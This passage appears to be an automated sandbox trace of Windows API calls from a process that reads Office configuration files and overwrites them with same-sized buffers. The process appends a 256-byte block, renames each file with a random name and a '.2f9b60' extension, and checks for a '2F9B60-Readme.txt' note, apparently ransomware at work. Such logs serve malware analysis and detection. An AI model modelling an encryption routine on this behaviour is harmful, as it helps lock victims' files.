RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0143.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff610) returned 1 [0143.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0143.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0143.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20506ef0 [0143.674] wcscat (in: _Dest=0x20506ef0, _Source="380ae57fb2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2" [0143.674] wcscat (in: _Dest=0x20506ef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2.2f9b60" [0143.674] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2.2f9b60", NtPathName=0x3c11f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\380ae57fb2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce229e0 [0143.674] NtSetInformationFile (FileHandle=0x1ecc, IoStatusBlock=0x3c11f950, FileInformation=0x1ce229e0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce229e0) returned 1 [0143.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3100) returned 1 [0143.859] NtQueryInformationFile (in: FileHandle=0x1ecc, IoStatusBlock=0x3c11f918, FileInformation=0x3c11f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c11f918, FileInformation=0x3c11f928) returned 0x0 [0143.859] NtSetInformationFile (FileHandle=0x1ecc, IoStatusBlock=0x3c11f918, FileInformation=0x3c11f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506ef0) returned 1 [0143.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86eb0) returned 1 [0143.865] FlushFileBuffers (hFile=0x1ecc) returned 1 [0143.894] CloseHandle (hObject=0x1ecc) returned 1 [0143.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.895] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.895] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4acc0) returned 1 Thread: id = 2206 os_tid = 0x1684 [0140.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 0x20 [0140.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG", dwFileAttributes=0x20) returned 1 [0140.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ec4 [0142.503] GetFileSizeEx (in: hFile=0x1ec4, lpFileSize=0x3cd9fc60 | out: lpFileSize=0x3cd9fc60*=1617) returned 1 [0142.504] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x64d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.504] ReadFile (in: hFile=0x1ec4, lpBuffer=0x3cd9fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cd9fc28, lpOverlapped=0x0 | out: lpBuffer=0x3cd9fbe0*, lpNumberOfBytesRead=0x3cd9fc28*=0x4, lpOverlapped=0x0) returned 1 [0142.518] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0142.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0142.519] NtQuerySystemTime (in: CurrentTime=0x3cd9fb20 | out: CurrentTime=0x3cd9fb20*=132462177477550000) returned 0x0 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x3c796162 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x16796880 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x129d1ed7 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x49ea21fc [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x4bbda2ca [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x6b876289 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x17d3935b [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x3df28602 [0142.519] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x40fec21 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x4d3b8dfd [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x2dc8bc4d [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x183c9363 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x12ca2e6a [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0xeac534f [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x5bc2e3e0 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x1b459478 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x71557853 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x7552cf26 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x6c88ac56 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x11a9eb58 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x38ceb57 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x43524cec [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x72b4a67 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x4dd2eda1 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x1915b377 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x22297604 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x5a24b868 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x4bac9dad [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x531fa35a [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x7db20c1 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x2d92dac8 [0142.520] RtlRandomEx (in: Seed=0x3cd9fb10 | out: Seed=0x3cd9fb10) returned 0x49848053 [0142.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0142.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0142.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0142.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0142.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0142.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0142.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0142.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0142.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0142.530] ReadFile (in: hFile=0x1ec4, lpBuffer=0x4232e130, nNumberOfBytesToRead=0x651, lpNumberOfBytesRead=0x3cd9fb10, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesRead=0x3cd9fb10*=0x651, lpOverlapped=0x0) returned 1 [0142.530] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.530] WriteFile (in: hFile=0x1ec4, lpBuffer=0x42331d40*, nNumberOfBytesToWrite=0x651, lpNumberOfBytesWritten=0x3cd9fb14, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesWritten=0x3cd9fb14*=0x651, lpOverlapped=0x0) returned 1 [0143.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0143.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261850 [0143.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261850) returned 1 [0143.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0143.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0143.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0143.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0143.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x204fe3e0 [0143.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0143.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0143.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0143.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0143.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x204fded0 [0143.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0143.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0143.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0143.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0143.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0143.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x169e60 [0143.466] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.466] WriteFile (in: hFile=0x1ec4, lpBuffer=0x169e60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cd9fc30, lpOverlapped=0x0 | out: lpBuffer=0x169e60*, lpNumberOfBytesWritten=0x3cd9fc30*=0x100, lpOverlapped=0x0) returned 1 [0143.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0143.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0143.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0143.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0143.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0143.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0143.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202672c0 [0143.678] sprintf (in: _Dest=0x202672c0, _Format="%c%c" | out: _Dest="ab") returned 2 [0143.678] sprintf (in: _Dest=0x202672c2, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.678] sprintf (in: _Dest=0x202672c4, _Format="%c%c" | out: _Dest="ae") returned 2 [0143.678] sprintf (in: _Dest=0x202672c6, _Format="%c%c" | out: _Dest="cd") returned 2 [0143.678] sprintf (in: _Dest=0x202672c8, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.678] sprintf (in: _Dest=0x202672ca, _Format="%c%c" | out: _Dest="55") returned 2 [0143.678] sprintf (in: _Dest=0x202672cc, _Format="%c%c" | out: _Dest="6c") returned 2 [0143.678] sprintf (in: _Dest=0x202672ce, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.678] sprintf (in: _Dest=0x202672d0, _Format="%c%c" | out: _Dest="70") returned 2 [0143.678] sprintf (in: _Dest=0x202672d2, _Format="%c%c" | out: _Dest="06") returned 2 [0143.678] sprintf (in: _Dest=0x202672d4, _Format="%c%c" | out: _Dest="06") returned 2 [0143.678] sprintf (in: _Dest=0x202672d6, _Format="%c%c" | out: _Dest="df") returned 2 [0143.678] sprintf (in: _Dest=0x202672d8, _Format="%c%c" | out: _Dest="59") returned 2 [0143.678] sprintf (in: _Dest=0x202672da, _Format="%c%c" | out: _Dest="51") returned 2 [0143.678] RtlInitAnsiString (in: DestinationString=0x3cd9fca8, SourceString="abe8aecdac556c0c700606df5951" | out: DestinationString="abe8aecdac556c0c700606df5951") [0143.678] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cd9fc78, SourceString="abe8aecdac556c0c700606df5951", AllocateDestinationString=1 | out: DestinationString="abe8aecdac556c0c700606df5951") returned 0x0 [0143.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059a10 [0143.678] RtlFreeAnsiString (AnsiString="a") [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169e60) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0143.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0143.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263800) returned 1 [0143.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0143.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0143.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0143.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506f90 [0143.680] wcscat (in: _Dest=0x20506f90, _Source="abe8aec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec" [0143.680] wcscat (in: _Dest=0x20506f90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec.2f9b60" [0143.680] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec.2f9b60", NtPathName=0x3cd9fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\abe8aec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c3a0 [0143.681] NtSetInformationFile (FileHandle=0x1ec4, IoStatusBlock=0x3cd9fcf0, FileInformation=0x2050c3a0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0143.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c3a0) returned 1 [0143.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3330) returned 1 [0143.880] NtQueryInformationFile (in: FileHandle=0x1ec4, IoStatusBlock=0x3cd9fcb8, FileInformation=0x3cd9fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cd9fcb8, FileInformation=0x3cd9fcc8) returned 0x0 [0143.880] NtSetInformationFile (FileHandle=0x1ec4, IoStatusBlock=0x3cd9fcb8, FileInformation=0x3cd9fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506f90) returned 1 [0143.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.882] FlushFileBuffers (hFile=0x1ec4) returned 1 [0143.903] CloseHandle (hObject=0x1ec4) returned 1 [0143.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.918] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.918] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b140) returned 1 Thread: id = 2207 os_tid = 0x1688 [0140.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 0x20 [0140.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG", dwFileAttributes=0x20) returned 1 [0140.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ec0 [0142.517] GetFileSizeEx (in: hFile=0x1ec0, lpFileSize=0x3ce6f7e0 | out: lpFileSize=0x3ce6f7e0*=779) returned 1 [0142.517] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x307, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.517] ReadFile (in: hFile=0x1ec0, lpBuffer=0x3ce6f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ce6f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3ce6f760*, lpNumberOfBytesRead=0x3ce6f7a8*=0x4, lpOverlapped=0x0) returned 1 [0142.532] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0142.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0142.533] NtQuerySystemTime (in: CurrentTime=0x3ce6f6a0 | out: CurrentTime=0x3ce6f6a0*=132462177477706000) returned 0x0 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x7ef4c484 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x3ef74562 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x30f3d4a3 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x5efe3df0 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x2d74481e [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x623414a2 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x749922c3 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x22fc1922 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x60e73756 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x5363c5b3 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x749922c3 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x12ca2e6a [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x44369722 [0142.533] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x2193943d [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x3ef74562 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x600fcac2 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x18568c52 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x5a24b868 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x3f5fb8f3 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x15a05c57 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x99f449d [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x317bcf93 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x720e55e3 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x44369722 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x34295f56 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x7ab981a2 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x2d74481e [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x5d2932e3 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x5ef4e24e [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x50d06621 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x54f085e6 [0142.534] RtlRandomEx (in: Seed=0x3ce6f690 | out: Seed=0x3ce6f690) returned 0x7ec7a184 [0142.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0142.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0142.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0142.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0142.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0142.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0142.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0142.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42335950 [0142.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42339560 [0142.542] ReadFile (in: hFile=0x1ec0, lpBuffer=0x42335950, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x3ce6f690, lpOverlapped=0x0 | out: lpBuffer=0x42335950*, 